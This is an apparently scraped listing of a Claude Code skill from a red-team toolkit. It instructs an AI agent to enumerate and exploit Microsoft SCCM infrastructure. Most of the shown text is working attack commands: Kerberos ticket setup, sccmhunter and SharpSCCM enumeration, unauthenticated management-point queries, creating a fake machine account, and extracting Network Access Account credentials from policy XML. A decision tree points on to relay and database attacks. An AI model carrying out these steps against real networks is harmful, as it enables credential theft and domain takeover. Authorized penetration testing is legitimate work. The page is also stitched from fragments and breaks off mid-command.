acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account
$ npx -y skills add blacklanternsecurity/red-run --skill sccm-exploitation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/sccm-exploitationContext preview
The summary Claude sees to decide when to auto-load this skill.
Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account
name: sccm-exploitation description: > Enumerates and exploits Microsoft SCCM/MECM (System Center Configuration Manager / Microsoft Endpoint Configuration Manager) infrastructure for credential harvesting, lateral movement, and domain escalation. Covers SCCM enumeration (sccmhunter, SharpSCCM), Network Access Account (NAA) credential extraction (policy request, WMI DPAPI, WMI repository), management point NTLM relay to MSSQL (TAKEOVER1), client push relay (ELEVATE2), PXE boot media credential harvesting (CRED1), SCCM database credential extraction, application deployment for lateral movement, and SCCM share looting. keywords: - SCCM - MECM - ConfigMgr - Configuration Manager - management point - sccmhunter - SharpSCCM - NAA - Network Access Account - PXE boot - client push - task sequence - OSD secrets - SCCMContentLib - CMLoot - MalSCCM - SCCM relay tools: - sccmhunter - SharpSCCM - MalSCCM - ntlmrelayx - PetitPotam - pxethiefy - CMLoot - Mimikatz - SQLRecon opsec: medium
You are helping a penetration tester enumerate and exploit Microsoft SCCM/MECM infrastructure for credential harvesting, lateral movement, and domain escalation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
**Access required**: Domain user (for enumeration and NAA extraction via policy request). Local admin on SCCM client (for WMI/DPAPI extraction). Domain admin or relay position (for MP relay and database attacks).
**Kerberos authentication setup** (for enumeration):
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP export KRB5CCNAME=$(pwd)/username.ccache
**Tools**: sccmhunter, SharpSCCM, MalSCCM, ntlmrelayx.py, PetitPotam, pxethiefy/PXEThief/SharpPXE, CMLoot, Mimikatz, SQLRecon.
Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:
**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output or wait for callback confirmation.
**Non-privileged commands** Claude can execute directly:
# Find SCCM infrastructure in the domain sccmhunter.py find -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP # Display discovered site servers sccmhunter.py show -siteservers # HTTP-based enumeration (no WMI, broader info) sccmhunter.py http -u 'user' -p 'Password123' -d DOMAIN.LOCAL -dc-ip DC_IP -auto
# Enumerate devices managed by site server .\SharpSCCM.exe get devices --server SCCM01 --site-code P01
# Retrieve site signing cert + Unknown Computer GUIDs curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format - # List all management points curl -s http://MP01.domain.local/SMS_MP/.sms_aut?MPLIST | xmllint --format - # Get site signing certificate curl -s http://MP01.domain.local/SMS_MP/.sms_aut?SITESIGNCERT | xmllint --format -
These HTTP endpoints are unauthenticated and reveal site structure.
SCCM Infrastructure Found ├── Have local admin on SCCM client? → Step 3 (NAA from WMI/DPAPI — quietest) ├── Can create machine account? → Step 2 (NAA via policy request) ├── Can reach MP + MSSQL? → Step 4 (MP relay to MSSQL) ├── Auto client push enabled? → Step 5 (Client push relay) ├── PXE-enabled DP? → Step 6 (PXE boot credential harvesting) ├── Have SCCM admin or DB access? → Step 7 (Database credential extraction) └── Have SCCM admin? → Step 8 (Application deployment for lateral movement)
Extract Network Access Account credentials by requesting machine policy from the management point. Requires a machine account (real or created).
# 1. Create a machine account (MAQ default allows this) addcomputer.py -computer-name 'fakesccm$' -computer-pass 'Password123!' \ 'DOMAIN.LOCAL/user:pass' -dc-ip DC_IP # 2. Add DNS entry for SCCM server (if not resolving) echo "SCCM_IP SCCM01 SCCM01.DOMAIN.LOCAL" >> /etc/hosts # 3. Request policy from MP using fake computer identity (sccmwtf) python3 sccmwtf.py fake fakepc.domain.local SCCM01 'DOMAIN\fakesccm$' 'Password123!' # 4. Extract and decrypt NAA credentials from policy XML cat /tmp/naapolicy.xml | grep 'NetworkAccessUsername\|NetworkAccessPassword' -A 5 \ | grep 'CDATA' | cut
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
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